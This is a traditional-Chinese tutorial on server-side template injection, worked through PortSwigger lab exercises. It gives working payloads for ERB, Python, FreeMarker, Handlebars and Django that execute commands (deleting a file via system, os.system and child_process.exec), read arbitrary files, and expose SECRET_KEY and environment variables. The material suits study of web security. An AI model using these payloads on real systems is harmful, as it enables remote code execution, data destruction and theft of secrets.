SSTI

Server-side template injection(伺服器端模板注入),攻擊者能夠使用本機模板語法將惡意負載注入到模板中,然後在伺服器端執行。常見的模板引擊如下

  • PHP: Smarty, Twig, Blade
  • JAVA: JSP, FreeMarker, Velocity
  • Python: Jinja2, django, tornado

對目標網站fuzz測試,可用注入模板表達式中常用的特殊字元序列,例如${{<%[%'"}}%\。如果引發異常,則表示伺服器可能以某種方式解釋注入的模板語法。這是SSTI漏洞可能存在的一個跡象,接著可以利用簡單的算術來測試漏洞,像是{{7*'7'}}<%= 7*7 %>等。

以GET為例

舉例來說,對目標網站fuzz測試後發現可能存在風險,用<%= 7*7 %>測試是否有漏洞,發現以下返回結果為 49,確認存在模版注入漏洞

https://your-lab-id.web-security-academy.net/?message=<%25%3d+7*7+%25>

為了透過漏洞執行刪除指令rm /home/carlos/morale.txt,將請求改為如下,送出後模版引擊就會執行以下指令執行刪除語法

https://your-lab-id.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>

Lab: Basic server-side template injection

以POST為例

另一個例子,對目標網站fuzz測試後發現可能存在風險,使用}}{{7*7}}測試是否有漏洞,發現以下返回結果出現 49,確認存在漏洞

POST /my-account/change-blog-post-author-display HTTP/1.1
...omit...
blog-post-author-display=user.name}}{{7*7}}&csrf=...omit

透過漏洞執行rm /home/carlos/morale.txt,因該模版語法為python,所以要改為{% import os %} {{os.system('rm /home/carlos/morale.txt'),放入請求中送出如下

POST /my-account/change-blog-post-author-display HTTP/1.1
...omit...
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')&csrf=...omit

之後在重新載入評論頁面即可執行刪除指令

Lab: Basic server-side template injection (code context)


利用模版有風險的功能

特定的內建物件或函數可能帶來安全風險,文件也會多次提出一些安全警告

例如,在ERB中,文件顯示您可以列出所有目錄,然後讀取任意文件

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

在Freemarker中,以下可執行系統指令

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

以freemarker攻擊為例

舉例某網站的編輯產品頁可看到模版語法格式為${someExpression},使用<h1> ${2*2} </h1>測試,保存後看到返回結果為4,確認有漏洞。使用不存在的對象${foobar}做測試,保存模版看到錯誤訊息確認為freemarker模版引擊。

利用freemarker模版引擊的高風險功能,執行rm /home/carlos/morale.txt,如下,

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }

編輯產品將以上語法插入並保存,查看產品頁即可觸發攻擊指令

Lab: Server-side template injection using documentation


使用己知漏洞

一旦能夠識別正在使用的模板引擎,可以瀏覽網路查找已知漏洞

舉例來說,假如不知道網站使用何種模版引擊,可以先對網站的一些參數做模板語言相關的fuzz,如下

GET /?message=${{<%[%%27"}}%\  HTTP/1.1

在返回錯誤訊息中,發現website使用Handlebars模版引擊,搜尋相關攻擊手法可發現@Zombiehelp54的一篇文章。

根據文章的指示可以知道如何利用漏洞,假如想刪除檔案/home/carlos/morale.txt,可修改exploit如下

wrtz{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

接著在把上述內容透過urlencode編碼在送出請求即可成功觸發攻擊指令

https://your-lab-id.web-security-academy.net/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d

Lab: Server-side template injection in an unknown language with a documented exploit


使用敏感信息

許多模板引擎公開可支援的所有對象、方法和屬性的名稱空間等,這些可做為攻擊的情報,例如

  • 在基於 Java 的範本語言中,有時可以用${T(java.lang.System).getenv()}來列出環境中的所有變數
  • Django中,可以用{% debug %}顯示調試資訊

舉例來說,目標網站在使用模糊字串${{<%[%'"}}%\儲存並測試後,發現輸出中的錯誤訊息提示正在使用 Django 框架,就可用Django文檔提到的{% debug %}取得大量調試信息。

分析調試信息發現settings 這個物件,經文檔調查發現包含SECRET_KEY屬性,因此使用{{settings.SECRET_KEY}}語法,儲存後就可取得金鑰內容

lab: Server-side template injection with information disclosure via user-supplied objects